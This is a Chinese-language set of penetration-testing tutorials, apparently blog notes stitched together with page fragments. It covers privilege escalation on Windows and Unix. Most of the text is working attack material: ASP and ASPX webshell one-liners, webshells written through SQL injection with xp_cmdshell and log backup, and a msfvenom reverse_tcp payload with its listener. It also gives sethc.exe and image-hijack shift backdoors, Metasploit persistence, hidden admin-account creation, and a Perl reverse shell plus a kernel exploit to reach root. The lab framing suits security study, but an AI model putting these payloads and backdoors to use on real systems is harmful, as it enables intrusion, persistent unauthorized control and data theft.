    FileZilla 是一款开源的 FTP 服务器和客户端软件,若安装了服务器端默认侦听 127.0.0.1:14147 ,默认安装目录下有两个敏感文件 FileZilla Server Interface.xml、FileZilla Server.xml

    9.1 利用原理

    1. 下载 FileZilla Server Interface.xml、FileZilla Server.xml 文件,获得管理员密码;
    2. 配置端口转发,远程管理 ftpserver
    3. 创建 ftp 用户,分配权限,设置家目录为 C:\
    4. 使用 cmd.exe 改名为 sethc,exe 替换 C:\windows\system32\sethc.exe 生成 shift 后门
    5. mstsc 连接 3389 按 5 次 shift 调出 cmd.exe

    9.2 利用过程

    9.2.1 查看敏感文件

    通过 webshell 查找 FileZilla Server Interface.xml、FileZilla Server.xml 文件,一般在目录 C:\Program Files\FileZilla Server\ 中。

    image-20210717210703893

    查看敏感信息:从以下图片中可以看出,密码为:123456,FileZilla 侦听的地址为:127.0.0.1:14147

    image-20210717205315680

    9.2.2 配置端口转发

    利用工具:lcx 端口转发工具

    由于 FileZilla 使用的是本地的 14147 端口,我们需要利用 lcx.exe 配置端口转发将本地的 14147 端口转发到 14148 端口

    1. 通过 webshell 将 lcx.exe 上传到可执行目录下。

    2. 通过 webshell 执行以下命令,配置端口转发。

      lcx.exe -tran 14148 127.0.0.1 14147
      

      image-20210717212246055

    3. 远程管理 ftpserver,下载 FileZilla 并远程登录靶机 ftpserver

      image-20210717214351631

    9.2.3 创建 ftp user 并分配权限

    在2003系统中,FileZilla 服务器是以系统权限启动的,可以修改默认的位置为 C 盘根目录

    image-20210717214704879

    9.2.4 创建 shift 后门

    使用创建的 ftp user 登录到靶机

    image-20210717215151241

    通过 ftp 客户端,将 cmd.exe 改名为 sethc.exe,并替换靶机的 C:\windows\system32\sethc.exe 生成 shift 后门

    9.2.5 测试后门

    mstsc 连接 3389 按 5 次 shift 调出 cmd.exe

    10 MSF 中 Windows 提权完整流程

    10.1 MSF 中 windows 提权模块

    metasploit 提权EXP 存储文件夹路径 /usr/share/metasploit-framework/modules/exploits/windows/local/

    ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
    exploit/windows/local/ms14_058_track_popup_menu
    
    ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
    exploit/windows/local/ms16_016_webdav
    
    ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
    exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    

    10.2 利用 MSF 生成反向 shell payload

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=8888 -f exe > 8888.exe
    

    10.3 本地开启监听

    msfconsole 
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.100.128
    set lport 8888
    exploit/run
    

    10.4 上传 Payload

    将生成的 Payload 通过 Webshell 上传到靶机的可执行目录中

    通过 cmdshell 运行 payload,获得一个 NT AUTHORITY\NETWORK SERVICE 用户权限

    image-20210718004009217

    10.5 提权

    System Commands

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process 尽可能提升权限
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as 查看当前用户
    kill          Terminate a process
    localtime     Displays the target system local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes 列出进程
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS 查看系统信息
    migrate       Migrate the server to another process 注入进程
    getsystem     Attempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限
    

    10.5.1 使用 getsystem 提权

    由以下信息可知,提权失败

    meterpreter > getsystem 
    [-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
    [-] Named Pipe Impersonation (In Memory/Admin)
    [-] Named Pipe Impersonation (Dropper/Admin)
    [-] Token Duplication (In Memory/Admin)
    [-] Named Pipe Impersonation (RPCSS variant)
    

    10.5.2 使用模块进行提权

    use exploit/windows/local/ms14_058_track_popup_menu
    set session 3
    msf6 exploit(windows/local/ms14_058_track_popup_menu) > run 
    
    [*] Started reverse TCP handler on 192.168.100.128:4444 
    [*] Launching notepad to host the exploit...
    [+] Process 2388 launched.
    [*] Reflectively injecting the exploit DLL into 2388...
    [*] Injecting exploit into 2388...
    [*] Sending stage (175174 bytes) to 192.168.100.131
    [*] Exploit injected. Injecting payload into 2388...
    [*] Payload injected. Executing exploit...
    [*] Sending stage (175174 bytes) to 192.168.100.131
    [+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
    [*] Meterpreter session 4 opened (192.168.100.128:4444 -> 192.168.100.131:1105) at 2021-07-18 11:30:50 +0800
    [*] Meterpreter session 5 opened (192.168.100.128:4444 -> 192.168.100.131:1107) at 2021-07-18 11:30:51 +0800
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    # 提权成功
    

    10.5.3 migrate 注入进程

    防止目标关闭 8888.exe 程序,最好将进程进行迁移

    # 通过 ps 命令获取靶机的进程
    ps
    
    # 防止目标关闭 8888.exe 程序,将进程进行迁移,如迁移至 explorer.exe
    meterpreter > migrate 2916
    [*] Migrating from 192 to 2916...
    [*] Migration completed successfully.
    
    也可以在设置提权 exp 时,设置自动脚本进行自动迁移
    set autorunscript migrate -n explorer.exe 
    

    10.6 持久后门

    内网渗透----常见后门_浅笑996的博客-CSDN博客

    • 利用漏洞取得的 metepreter 运行在内存中,重启失效
    • 重复 exploit 漏洞可能造成服务崩溃
    • 持久后门保证漏洞修复后仍可远程控制

    10.6.1 增加管理员run exploit/windows/local/persistence

     net user test 123456 /add && net localground administrators test /add
     
    # 在 kali 里面链接远程终端
    rdesktop 192.168.100.131
    

    10.6.2 persistence 后门

    use exploit/windows/local/persistence
    set session 6
    # session 6 为已获得最高权限的 session
    set delay 30
    set lhost 192.168.100.128
    set lport 88888
    msf6 exploit(windows/local/persistence) > 
    [*] Running persistent module against WINDOES-TARGET01 via session ID: 6
    [!] Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!
    [+] Persistent VBS script written on WINDOES-TARGET01 to C:\WINDOWS\TEMP\bvifQmDbl.vbs
    [*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
    [+] Installed autorun on WINDOES-TARGET01 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
    [*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WINDOES-TARGET01_20210718.0646/WINDOES-TARGET01_20210718.0646.rc
    
    展开全文
  • Windows权第一篇-内核溢出漏洞

    千次阅读 2021-11-19 20:55:24
    文章目录为什么需要权Windows权的常见方法Windows系统常见命令1.内核溢出漏洞权IIS权限拿shell权过程信息收集权 为什么需要权 读取/写入敏感文件 重新启动之后权限维持 插入永久后门 Windows权的...
     
    

    为什么需要提权

    读取/写入敏感文件

    重新启动之后权限维持

    插入永久后门

    Windows提权的常见方法

    1.内核漏洞

    2.错误的服务权限配置

    3.DLL注入

    4.始终以高权限安装程序

    5.凭证存储

    Windows系统常见命令

    ipconfig /all 查询网络配置
    dir 列出当前目录下的文件以及文件夹
    whoami 显示当前用户
    cd /d d: 进入d盘
    md test 创建名为test的文件夹
    copy nul 1.txt 创建空文件
    type 1.txt 查看文件内容
    del 1.txt 删除文件
    del /f test 删除 test 文件夹下的所有文件
    copy 1.txt d:\doc 将1.txt复制到 d:\doc 下
    net user 查看所有用户
    net user test 查看test用户信息
    net user test password /add 添加用户
    net user test /delete 删除 test 用户
    net user test newPassword 重置 test 用户密码
    tasklist 显示当前的进程信息
    taskkill /im notedpad.exe 结束名为 notepad 的进程
    taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
    taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
    wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
    netstat -ano 查看开启的端口连接情况
    findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
    sc delete 服务名 删除服务
    systeminfo 查看操作系统等版本信息
    netstat -ano 查看端口列表
    set 环境变量
    

    内核溢出漏洞提权

    在渗透测试过程中,经常遇到的windows服务器包括winserver2003、winserver2008、winserver2012

    一般获取的是 iis_user 用户组权限

    IIS权限

    aspx > php => asp

    apsx 默认可以执行终端命令,PHP 和 asp 在组件没有删除的情况下,可以上传 cmd 到可执行目录,执行命令

    执行命令的组件:wscript.shell

    拿shell

    靶机是一个asp站点,存在文件上传

    Bypass文件上传,上传asp一句话木马(和php一句话利用方式相同)

    <%eval request ("pass")%>
    

    使用蚁剑直接连接就好了

    image-20211119165823816

    可以登录但是发现执行命令提示拒绝访问

    image-20211119172523410

    可能的两种情况:

    1. cmd权限不足,没有命令执行权限,需要自己上传一个cmd.exe,注意windows server不能使用win10的cmd,需要对应版本
    2. 可能启用了安全模式(但是这里没有提示,那就应该是第一种)

    解决方法:

    1. 重新设置一下cmd路径:如setp:C:\inetpub\wwwroot\cmd.exe(可能不行)

    2. 上传一个大马(或者上线 cs)寻找可读写目录,重新上传一个cmd(版本需要匹配)

      上线cs方法(目前暂时使用大马的方式比较简单)

      image-20210513161750929

    第一个方法不行,使用第二个方法-小马拉大马,传一个大马上去(咳咳,不要以为是靶机就直接仍上去一个大马,权限有问题)

    image-20211119193845410

    发现支持wscript.shell组件,传上去一个cmd.exe(注意版本),到recyrler目录(一般这个目录都是可读写的)

    image-20211119193912738

    在IIS中默认上传大小是200k,大于会报错,但是实际情况中不需要担心这个问题(靶机中如果手动上传后无法使用,要添加web用户权限)

    image-20211119194218838

    image-20211119202846078

    再次执行命令whoami发现执行成功

    image-20211119194414400

    提权过程

    1. 确保webshell中可以执行终端命令并收集信息
    2. 上传溢出 exp
    3. 执行命令

    信息收集

    systeminfo命令收集信息

    image-20211119194448255

    image-20211119194801416

    检查Windows提权辅助工具,wesng主要帮助检测Windows安全缺陷,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议

    或者这个网站也可:https://i.hacking8.com/tiquan/,将补丁号输入,查询可利用的 windows 提权

    介绍一下wesng的用法

    1. 将wesng下载到本地主机上,先升级最新的漏洞数据库

      python wes.py --update
      

      image-20211119195337077

    2. 将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查

      python .\wes.py -m .\systeminfo.txt
      

      image-20211119195524788

    3. 使用漏洞库 https://www.exploit-db.com/ 找payload,上传至靶机中提取

    提权

    既然已经有poc了,提权就很easy了

    上传iis6.0通用提权程序,拿到system权限

    image-20211119202902563

    使用命令增加用户

    C:\RECYCLER\iis6.0.exe "net user ocean ocean /add & net localgroup administrators ocean /add"
    

    命令作用是:创建密码为ocean的ocean用户,并添加到管理员用户组

    image-20211119203329605

    使用账号密码登录RDP

    image-20211119203434684

    net user ocean
    

    image-20211119203649895

    apsx提权

    以上是asp程序的iis提权,apsx程序会比asp的权限高,默认是可以执行cmd命令的,如果在asp不能执行命令时,而网站支持aspx,则可以上传apsx木马进行提权

    提权思路是一样的,就是不需要上传cmd.exe了,可以直接上传iis6.0.exe进行提权

    参考文章:

    http://wjlshare.com/archives/1566

    https://cloud.tencent.com/developer/article/1667632

    https://www.freebuf.com/articles/system/263139.html

    展开全文
  • 第三方组件权-SQL server

    千次阅读 2021-11-20 22:36:49
    文章目录基础MSSQL权限级别拿webshellxp_cmdshell执行系统命令LOG备份getshell权使用xp_cmdshell进行权以下内容为转载使用sp_oacreate进行权|无回显sp_oacreate简介sp_oacreate使用沙盒权SQL Server 沙盒...
     
    

    基础

    MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库, 端口号:1433

    MSSQL权限级别

    • sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限
    • db权限:文件管理,数据库操作等价于 users-administrators
    • public权限:数据库操作等价于 guest-users

    在搭建时,选择使用SQL Server身份验证会创建SA账户并设置密码,SA(System Administrator)表示系统管理员,在SQLServer2019之前的SA用户都是系统最高权限用户SYSTEM,但在2019版本时为普通数据库用户mssqlserver,是一个低权用户

    拿webshell

    靶机:http://www.demo1.com/index.aspx?id=1

    winserver 2008 R2 + SQL server 2008

    靶机存在SQL注入

    image-20211120203955600

    根据报错可以判断数据库使用的是SQL server

    使用联合查询判断数据库版本

    http://www.demo1.com/index.aspx?id=1%20union%20select%201,@@version,User_name();
    

    image-20211120215045660

    xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止

    xp_cmdshell执行系统命令

    xp_cmdshellSql Server中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权

    xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止

    查看xp_cmdshell状态

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    

    返回1表示xp_cmdshell组件启用

    执行系统命令

    EXEC master.dbo.xp_cmdshell 'ipconfig'
    # 即使执行成功页面也是无法回显。推荐写入shell
    

    出现下图说明 xp_cmdshell 未开启

    image-20211009203333167

    如果用户拥有管理员 sa 权限,可以用 sp_configure 重新开启 xp_cmdshell组件

    ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    
    命令解释
    EXEC sp_configure 'show advanced options',1
    //允许修改高级参数
    RECONFIGUREEXEC sp_configure 'xp_cmdshell',1  
    //打开xp_cmdshell扩展RECONFIGURE
    

    写入木马getshell

    # asp
    ?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' -- 
    
    # aspx
    ?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\2.aspx'

    也可以执行系统命令 把命令结果输出到指定文件

    ?id=1;EXEC master.dbo.xp_cmdshell 'whoami >>C:\inetpub\wwwroot\www.demo1.com\ip.txt'
    

    image-20211120212254450

    注意:master..xp_cmdshell 'whoami'    (2008版上好像用不了)
    

    image-20211120212026222

    注意点: 在MSSQL2019版本中,会使用mssqlserver用户而非system用户

    LOG备份getshell

    通过差异备份拿shell经常出错,所以推荐以下操作

    无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

    SQLServer常见的备份策略:

    • 每周一次完整备份
    • 每天一次差异备份
    • 每小时一次事务日志备份

    利用前提

    • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该 test 数据库存在数据库备份文件,而且恢复模式得是 完整模式
    • 知道网站的绝对路径,找绝对路径的方法,链接
    • 该注入支持堆叠注入

    具体步骤如下

    alter database 数据库名 set RECOVERY FULL;   
    #修改数据库恢复模式为 完整模式
    create table cmd (a image);        
    #创建一张表cmd,只有一个列 a,类型为image
    backup log 数据库名 to disk= 'C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;   
    #备份表到指定路径
    insert into cmd (a) values(0x3C25657865637574652872657175657374282261222929253EDA);  
    #插入一句话到cmd表里,一句话木马<%execute(request("a"))%>需要转换成16进制形式
    backup log 数据库名 to disk='C:/inetpub/wwwroot/www.demo1.com/123.asp';   
    #把操作日志备份到指定文件
    drop table cmd;    
    #删除cmd表
    

    生成shell后可以用工具连接

    image-20211009211123067

    image-20211120212948700

    image-20211120213002211

    提权

    使用xp_cmdshell进行提权

    现在已经通过SQL注入拿到了webshell,但是权限只是nt authority\network service,进行下一步提权操作的话需要拿到sa权限,有以下几种方法拿到sa权限

    • 查找保存在文件中的账号和密码

      web.config
      config.asp
      conn.aspx
      database.aspx
      等敏感文件
      
    • 爆破sa用户密码

    在靶机的web目录index.aspx文件中找到了sa用户的密码

    image-20211120213115555

    连接数据库可以使用navicat也可以直接用蚁剑

    在地址上右击选择数据操作

    image-20211120213356143

    点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的

    image-20211120213330489

    选择master数据库,执行命令判断是否开启xp_cmdshell

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    

    image-20211120214330579

    返回值1,判断其开启了xp_cmdshell

    如果没有开启的话,需要根据SQL server的版本使用相应命令开启

    执行命令判断sa用户的权限

    exec xp_cmdshell "whoami"
    master..xp_cmdshell 'whoami'    (2008版上好像用不了)
    EXEC master..xp_cmdshell "whoami"
    EXEC master.dbo.xp_cmdshell "ipconfig"
    四选一不行就换
    

    发现这也是一个普通用户(有时比较高)

    在2005中xp_cmdshell的权限是system,2008中是network(靶机为2008)

    image-20211120214847196

    遇到这种情况无法完成提权

    上传溢出提权工具提权,能不能成功需要看目标管理员在安装SQL server时使用的权限

    如果权限是system,可以执行命令添加用户

    exec master..xp_cmdshell "net user test12 123.com /add"
    exec master..xp_cmdshell "net localgroup administrators test12 /add"
    exec master..xp_cmdshell "net user test12"
    

    善后工作,将xp_cmdshell命令修改为禁用

    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 0;
    RECONFIGURE;
    

    以下内容为转载

    转载声明:以下内容为转载,出自以下文章

    https://www.freebuf.com/vuls/276814.html

    http://alexsel.com/index.php/archives/80/

    使用sp_oacreate进行提权|无回显

    sp_oacreate简介

    调用wscript.shel执行命令

    sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言。

    系统管理员使用sp_configure启用sp_oacreatesp_oamethod系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)

    在效果方面,sp_oacreate、sp_oamethod两个过程和xp_cmdshell过程功能类似,因此可以替换使用,在遇到xp_cmdshell被删除的情况下可以尝试使用这个命令来提权

    利用条件:

    1.已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)

    2.sqlserver允许远程连接

    3.OLE Automation Procedures选项开启

    sp_oacreate使用

    1.查看sp_oacreate状态

    select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
    

    2.启用OLE Automation Procedures选项

    当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。

    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'Ole Automation Procedures',1;
    reconfigure;
    

    2s43wj.png

    类似的,关闭组件命令

    exec sp_configure 'show advanced options',1;
    reconfigure;
    exec sp_configure 'Ole Automation Procedures',0;
    reconfigure;
    

    3.利用sp_oacreate和sp_oamethod执行命令

    写入文件

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
    exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
    

    回显0表示成功

    2s41mQ.png

    由于这里是无回显的命令执行,到另一台主机上查看效果,成功写入。

    2s48Ts.png

    删除文件

    declare @result int
    declare @fso_token int
    exec sp_oacreate 'scripting.filesystemobject', @fso_token out
    exec sp_oamethod @fso_token,'deletefile',null,'c:\sqltest.txt'
    exec sp_oadestroy @fso_token
    

    2s4tf0.png

    可以看到文件已删除

    2s4YYq.png

    同样,也可以创建用户进行登陆拿shell

    沙盒提权

    SQL Server 沙盒简介

    沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息

    沙盒提权的原理就是jet.oledb(修改注册表)执行系统命令。数据库通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令

    利用前提:

    1.需要Microsoft.Jet.OLEDB.4.0一般在32位系统才可以,64位机需要12.0,较复杂

    2.dnary.mdbias.mdb两个文件 在win2003上默认存在,也可自行准备

    测试 jet.oledb 能否使用

    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
    

    2s42p6.png

    开启Ad Hoc Distributed Queries组件

    在SQL2005中默认禁用Ad Hoc Distributed,执行命令时,会提示错误,所以我们需要手动开启。这种提权的方式一般很少用到。

    exec sp_configure 'show advanced options',1 ;
    reconfigure ;
    exec sp_configure 'Ad Hoc Distributed Queries',1 ;
    reconfigure;
    

    img

    恢复对注册表的读写

    dbcc addextendedproc ('xp_regread','xpstar.dll')
    dbcc addextendedproc ('xp_regwrite','xpstar.dll')
    

    修复沙盒的维护模式

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    

    img

    查看SandBoxMode的值是否已经变成了0

    沙盒模式参数含义:

    沙盒模式SandBoxMode参数含义(默认是2)

    • 0:在任何所有者中禁止启用安全模式
    • 1 :为仅在允许范围内
    • 2 :必须在access模式下
    • 3 :完全开启
    exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
    

    img

    创建账户

    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
    

    添加到管理员组

    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
    

    如果遇到问题参考这里的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html

    恢复配置

    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
    exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
    exec sp_configure 'show advanced options',0;reconfigure;
    

    JOB提权

    原理是创建一个任务x,并执行命令,命令执行后的结果,将返回给文档q.txt

    首先需要启动sqlagent服务:

    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    

    img

    接下来我们创建任务x,执行添加账户的命令,然后将命令返回结果输出到q.txt中。

    use msdb
    exec sp_delete_job null,'x'
    exec sp_add_job 'x'
    exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
    exec sp_add_jobserver null,'x',@@servername
    exec sp_start_job 'x';
    

    img

    执行成功,这个报错应该是同时执行多条语句导致,我们可以看到最终添加了指定的账户。

    使用xp_regwrite提权 | 映像劫持提权

    通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持

    前提条件:

    1.未禁止注册表编辑(即写入功能)

    2.xp_regwrite启用

    查看xp_regwrite是否启用

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
    

    xp_regwrite开启与关闭

    EXEC sp_configure 'show advanced options', 1
    RECONFIGURE
    EXEC sp_configure 'xp_regwrite',1
    RECONFIGURE
    

    利用regwrite函数修改组册表进行劫持,这里如果regwrite执行失败参考上面的开启方法。

    EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
    

    img

    接着我们查看是否劫持成功

    exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
    

    img

    紧接着我们远程连接桌面,然后连续按5次shift就可以调用cmd窗口

    img

    上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作

    其他骚操作

    删除指定注册表键值对

    删除粘滞键的键值

    xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
    

    2s44ne.png

    到目标主机上查看,发现sethc.exe在注册表中的值已删除

    2s4fXD.png

    开启3389端口这里的xp``_regwrite为向注册表中写数据

    exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    
    exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
    

    2s450H.png

    在注册表中也可以看到3389端口被打开

    2s4I7d.png

    使用sp_makewebtask写文件

    2005

    一般可以用于web网站,写入后门文件

    1)查看该组件

    EXEC sp_configure 'Web Assistant Procedures'
    

    2)开启该组件

    exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE
    

    报错,在SQLServer2005后好像都没有这个组件了

    总结

    常见的存储过程:

    xp_cmdshell         执行系统命令
    xp_fileexist        确定一个文件是否存在。
    xp_getfiledetails   获得文件详细资料。
    xp_dirtree          展开你需要了解的目录,获得所有目录深度。
    Xp_getnetname       获得服务器名称。
    
    注册表访问的存储过程
    Xp_regwrite
    Xp_regread
    Xp_regdeletekey
    Xp_regaddmultistring
    Xp_regdeletevalue
    Xp_regenumvalues
    Xp_regremovemultistring
    
    OLE自动存储过程
    Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
    Sp_OAMethod Sp_OASetProperty Sp_OAStop  
    

    二级内网MSSQL渗透|上线CS

    暂时没有学到,可以看这篇文章:https://www.freebuf.com/vuls/276814.html

    参考链接:

    http://alexsel.com/index.php/archives/80/

    https://y4er.com/post/mssql-getshell/

    https://www.freebuf.com/vuls/276814.html

    展开全文
  • 系统权之:Unix 权1 Unix 内核漏洞权1.1 利用前提1.2 利用 NC 建立 Shell 会话(便于操作)1.2.1 本地配置 NC 监听1.2.2 上传 perl-reverse-shell.pl 反弹 Shell1.3 查询 Unitx 系统内核信息1.4 查找内核版本...

    郑重声明:
    本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

    1 Unix 内核漏洞提权

    通常我们在获取到一个 Webshell 的时候,一般权限都是 WEB 容器权限且权限较低(如在 IIS 就是 IIS 用户组权限,在 Apache 就是 Apache 权限)。如果想进行内网渗透就必须将权限提权到最高,如系统权限或超级管理员权限。

    1.1 利用前提

    获得一台靶机的 Webshell 后门。

    1.2 利用 NC 建立 Shell 会话(便于操作)

    为了防止会话被靶机的防火墙阻断,使用反弹 Shell。

    1.2.1 本地配置 NC 监听

    diegocr/netcat: NetCat for Windows (github.com)

    nc -vlp 1234
    

    1.2.2 上传 perl-reverse-shell.pl 反弹 Shell

    perl-reverse-shell.pl 文件下载地址

    1. 修改文件中 IP 变量参数为本地主机 IP 地址,如:
    my $ip = '192.168.100.1';
    my $port = 1234;
    # 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。
    
    1. 修改完成后,利用菜刀或蚁剑连接 Webshell 后门,上传 perl-reverse-shell.pl 到靶机上,如:
    # pwd
    /tmp
    # ls
    perl-reverse-shell.pl
    
    1. 给 perl-reverse-shell.pl 文件添加执行权限
    chmod +x perl-reverse-shell.pl
    
    1. 执行 perl-reverse-shell.pl 文件
    ./perl-reverse-shell.pl
    

    1.3 查询 Unitx 系统内核信息

    # cat /etc/issue
    Ubuntu 15.04 \n \l
    
    # cat /etc/*release
    DISTRIB_ID=Ubuntu
    DISTRIB_RELEASE=15.04
    DISTRIB_CODENAME=vivid
    DISTRIB_DESCRIPTION="Ubuntu 15.04"
    NAME="Ubuntu"
    VERSION="15.04 (Vivid Vervet)"
    ID=ubuntu
    ID_LIKE=debian
    PRETTY_NAME="Ubuntu 15.04"
    VERSION_ID="15.04"
    HOME_URL="http://www.ubuntu.com/"
    SUPPORT_URL="http://help.ubuntu.com/"
    BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
    
    # uname -a
    Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
    #
    
    # lsb_release -a
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description:    Ubuntu 15.04
    Release:        15.04
    Codename:       vivid
    

    1.4 查找内核版本对应的提权 EXP

    使用 www.exploit-db.com 网站进行查找,如:查找:3.19.0 对应的提权 EXP 为 37292.c:

    Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation - Linux local Exploit (exploit-db.com)

    1.5 提权

    在本地编译或在靶机上编译 EXP 文件:

    # ls
    37292.c
    # gcc -o exp 37292.c
    # ls
    37292.c
    exp
    

    运行 EXP 提权

    #提权之前
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    #提权
    $ ./exp
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    creating shared library
    sh: 0: can't access tty; job control turned off
    
    #提权之后
    # id
    uid=0(root) gid=0(root) groups=0(root),33(www-data)
    

    1.6 切换 shell

    以 bash shell 交互命令。

    前提

    • 靶机安装了 Python
    python -c "import pty; pty.spawn('/bin/bash')"
    

    2 SUID 提权

    SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的 UID 和 GID。

